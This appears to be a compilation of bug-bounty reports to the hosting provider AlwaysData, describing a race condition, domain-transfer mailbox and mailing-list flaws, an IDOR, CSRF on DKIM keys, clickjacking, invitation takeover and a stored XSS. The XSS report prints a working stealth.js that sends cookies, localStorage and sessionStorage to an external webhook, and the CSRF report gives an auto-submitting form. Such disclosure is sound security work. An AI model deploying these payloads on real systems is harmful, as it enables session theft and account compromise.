All Projects

Hello Team,

Summary:
There exists a Race Condition in which the subscription are added multiple times which will make them unremovable. As you know, same subscription is not added in admin.alwaysdata.com, but through race condition same subscription can be added multiple time and admin can't remove that in which another user are created them.

Steps To Reproduce:

1. Go to https://admin.alwaysdata.com/transfer/add/?type=account.
2. Fill the form which have new owner(for e.g: example@gmail.com) and click on validate it.
3. Go to admin.alwaysdata.com and login your account example@gmail.com. 4. Then go to https://admin.alwaysdata.com/transfer/ and accept the transfer request and intercept the request on Burpsuite.

5.Make 10 to 15 request and group them to send it from repeater.
6. You can see that any subscription are added and if want to delete them you can't.

Impact
Irremovable/permanent subscription. Even the admin cannot remove that subscription in which another user created it in that account.

Thank You,

Waleed Anwar

Description

There is a design flaw in the domain and mailbox management logic within a user account on AlwaysData.
A user who owns multiple subscriptions within the same account can create a mailbox in one subscription using a domain that belongs to another subscription within the same account, without strict verification of domain ownership.

As a result, mailboxes become associated with the domain object itself rather than with the subscription that created them.
When subscriptions or domains are later transferred to other users, mailboxes and their stored emails are automatically re-associated based on domain ownership, enabling serious exploitation scenarios.

—

Scenario 1 — Create a mailbox then transfer the subscription that owns the domain

1. The attacker’s AlwaysData account contains two subscriptions:

Subscription A: with a different domain.

Subscription B: contains the domain victim-domain.com.

2. From within Subscription A, the attacker creates a new mailbox using the domain from Subscription B (for example admin@victim-domain.com).

3. The attacker then transfers Subscription B (which contains the domain) to another user.

4. The mailbox the attacker created remains active and operates under the domain now owned by the new user.

Result:
The attacker retains an active mailbox under a domain that now belongs to another user, allowing them to receive/send emails as that domain — enabling impersonation or disclosure of sensitive communications.

—

Scenario 2 — Create a mailbox, transfer the subscription that contains the mailbox, then later transfer the domain

1. The attacker creates a mailbox in Subscription A using the domain in Subscription B.

2. The attacker transfers Subscription A (which contains the mailbox) to another user. The new user sees the mailbox ready and uses it.

3. Later, the attacker transfers the domain from Subscription B to a new subscription controlled by the attacker.

4. Because the system links mailboxes to the domain, when the domain is moved the mailboxes and all their contents are transferred to the attacker.

Result:
The attacker gains access to all past and future emails of the mailbox used by the new user, constituting a full privacy breach.

POC: https://admin.alwaysdata.com/support/89714/

—

Impact

Unauthorized access to private messages.

Identity impersonation via email addresses tied to the victim domain.

—

Fix Recommendation

Prevent selecting domains from other subscriptions within the same account when creating a mailbox.

Summary:
When transferring a domain from one Alwaysdata account to another, the associated Mailman mailing lists are not migrated or revoked. The original account retains ownership of these lists and can continue to receive or send emails on behalf of the transferred domain.

Steps to Reproduce:

1. In Account A, add a custom domain (e.g. example.com).

2. Create a Mailman mailing list such as team@example.com.

3. Verify the list is active and receives emails.

4. Transfer the domain example.com to Account B via the official domain transfer process.

5. Observe that the mailing list team@example.com still exists under Account A and can receive/send emails, despite the domain no longer being owned by this account.

POC: https://admin.alwaysdata.com/support/89434/

Impact:

The previous account holder retains unauthorized control over mailing lists linked to a domain they no longer own.

This may allow:

Unauthorized reception of emails intended for the new domain owner.

Sending spoofed emails from the domain.

Potential data leakage of private or sensitive communications.

Severity: High (P2) — because it breaks domain ownership boundaries and enables unauthorized email control.

Recommendation:

When a domain is transferred:

Either migrate all associated mailing lists to the new owner (with consent),

Or revoke and disable them in the old account immediately, ensuring the previous account cannot continue using them.

Hi Team,

Description:
I have found that there is a feature to create a duplicate of a database, and during that process, there is an option to choose a recipient. This endpoint lacks proper access control. If an attacker inputs the recipient ID of another organization's database user, it discloses their name.

Additionally, the recipient ID is sequential, numerical, and easily enumerable — making it guessable.

Steps to Reproduce:
1. Log in to Organization A and attempt to create a duplicate of a database. Choose recipient and from this endpoint :

<code> https://admin.alwaysdata.com/database/duplicate/@@/?_field_account=@@ </code>
 and copy the `field_account` parameter.

2. Now, log in to Organization B. Try to create a duplicate database, and when choosing the recipient, capture request using burp suite and from this endpoint

 https://admin.alwaysdata.com/database/duplicate/@@/?_field_account=@@ 

replace the `field_account` parameter with the one copied from Organization A.

You will see that the user details of Organization A are disclosed.

POC Video:
https://drive.google.com/file/d/1u2qZ7wC8nNquBNFJ4kwWoU-oZsXzI-go/view?usp=sharing

Regards,
Ranjet

Hello Team, Vulnerability: CSRF to Change DKIM Key Pair of Victim

Description: I have found that the DKIM key pair regeneration feature lacks proper csrf protection. As a result, if a victim visits an attacker-controlled site, the attacker can regenerate a new DKIM key pair for the victim's domain. This will effectively change the victim’s existing DKIM key.
Steps to Reproduce: NOTE: After adding a domain, the domain ID is assigned in a predictable numeric sequence. I am assuming that the attacker knows the victim's domain ID.

1. Log into your account and save the following code as `1.html`. Replace the domain ID in the script with the victim's domain ID and open the file in your browser.

<html>
  <body>
    <form action="https://admin.alwaysdata.com/domain/117551/dkim/generate/">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

2. You will notice that a new DKIM key pair has been generated for the victim’s domain without their consent.

POC Video:
https://drive.google.com/file/d/1LXBYjEXpdIr79f1flq14fSiP3HdETRe-/view?usp=sharing

Regards,
Ranjeet

From:
Raden Adhiyaksa Indiharto
Security Researcher
Email: radenadhiyaksa89@gmail.com

To:
IT Team, Alwaysdata
https://alwaysdata.com

My name is Raden Adhiyaksa Indiharto, an independent security researcher. I have discovered a Stored Blind Cross-Site Scripting (XSS) vulnerability on the subdomain mailman.alwaysdata.com within the Hyperkitty application.

This vulnerability allows an attacker to inject malicious JavaScript code that is stored and later executed in the browsers of other users or administrators when accessing a specific page.

Vulnerability Details Type of Vulnerability: Stored Blind Cross-Site Scripting (XSS)

Vulnerable Parameter: ?page=

Affected URL:

https://mailman.alwaysdata.com/hyperkitty/?page=%3Cscript%20src%3D%22https%3A%2F%2Fradenadhiyaksa.github.io%2Fbxss-stealth%2Fstealth.js%22%3E%3C%2Fscript%3E&sort=active

Payload (URL Encoded):

<script src="https://radenadhiyaksa.github.io/bxss-stealth/stealth.js"></script>

Impact

• The payload is stored and rendered within the page, executed silently when the vulnerable URL is loaded by other users (admin/user).
• This may allow attackers to steal cookies, hijack sessions, or gather sensitive information stealthily.

Proof of Concept (PoC) I created an external JavaScript file that collects user environment data and sends it to a webhook I control. This demonstrates successful execution of the injected script on the victim’s browser:
stealth.js script:

(function () {
  const data = {
    cookie: document.cookie,
    location: location.href,
    referrer: document.referrer,
    userAgent: navigator.userAgent,
    platform: navigator.platform,
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    screen: {
      width: screen.width,
      height: screen.height
    },
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage),
    html: document.documentElement?.outerHTML?.slice(0, 1000),
    ts: new Date().toISOString(),
    id: Math.random().toString(36).substring(2)
  };

  // Kirim via fetch (utama)
  fetch("https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(data)
  }).catch(() => {
    // Fallback jika fetch gagal
    new Image().src = `https://236fb3a628ae3f3aef9dc3bd171c41c6.m.pipedream.net/?id=${data.id}&url=${encodeURIComponent(location.href)}&ref=${encodeURIComponent(document.referrer)}`;
  });
})();

This script is executed automatically when the vulnerable page is loaded, confirming the presence of stored XSS.

Recommendations

• Sanitize and escape user input in all parameters, especially the page parameter, before rendering them in HTML.
• Implement strict input validation and whitelist allowed characters.
• Use secure templating engines or frameworks that automatically handle escaping to prevent XSS.
• Consider enforcing a strong Content Security Policy (CSP) to restrict script sources.

I hope this report assists in enhancing the security of your platform. Please feel free to contact me if you require any further information or assistance in verifying and fixing this vulnerability.

Thank you for your attention and commitment to security.

Sincerely,
Raden Adhiyaksa Indiharto
Security Researcher
email: radenadhiyaksa89@gmail.com GitHub: https://github.com/radenadhiyaksa

Additional Note: Please let me know if you would like me to proceed with further exploitation and testing to better assess the impact of this vulnerability, or if you prefer to handle the remediation from this point onwards.

Link Video and Picture Proof of Concept [https://drive.google.com/drive/folders/1YcUBTOL5SmuPJ7QkdGXbj3YN3L-v7WHL?usp=sharing]

On-click Delete any invitation in [admin.alwaysdata.com]

*Summary:*
The [Create My Own Site] web application system is vulnerable to a click grabbing attack that allows an attacker to trick the user into deleting invitations that they have sent or received without their knowledge.

*Reproduction steps:*
1. Send an invitation to another user.
2. Receive an invitation and try it on the other account.
3. Get the direct link to the invitation and add the /cancel/ command to the URL.
4. Create an HTML proof-of-concept file with the following content:

Programming Language

<a href="https://admin.alwaysdata.com/transfer/Invitation_Number/cancel/----">Click</a>

5. Host this HTML page or send it via link to the victim.
6. Once the victim clicks on the masked link, the invitation is deleted without their explicit consent or knowledge.

An attacker could use their location and attach an HTML file instead of sending a file that the user clicks.

I have sent a proof of concept:
https://admin.alwaysdata.com/support/77431/374245-bandicam%202024-07-14%2007-00-17-624.mp4

*Impact:*
The exploit allows the deletion of any invitation that the user has sent or reached another user without his consent.

*Vulnerability Summary: Unauthorized Account Takeover via Invitation Exploitation in [admin.alwaysdata.com] Vulnerability Description: A critical security vulnerability was identified in the account invitation process of [Service that allows the user to create a site]. This vulnerability allowed an unauthorized user to gain administrative control over another user's account through the invitation feature. Below is a detailed timeline of events leading to the account takeover: 1. Account Creation: - A user (referred to as User A) created an account on [Service that allows the user to create a site]. 2. Incorrect Invitation: - User A intended to invite a member to become an administrator but mistakenly sent the invitation to another user (User B). 3. Invitation Deletion: - Realizing the mistake, User A promptly deleted the invitation intended for User B. 4. Correct Invitation: - User A subsequently invited their colleague (referred to as User C) to become an administrator of their account. 5. Acceptance by Colleague: - User C accepted the invitation, assuming administrative rights as intended by User A. 6. Unauthorized Acceptance: - Meanwhile, User B, who received the initial invitation in error, noticed the invitation and, potentially unaware of the implications, accepted it. 7. Account Takeover:**

1. By accepting the invitation, User B gained administrative access to User A's account, effectively taking ownership of the account.

I've sent a proof of concept: [REDACTED]

Impact:
Account Takeover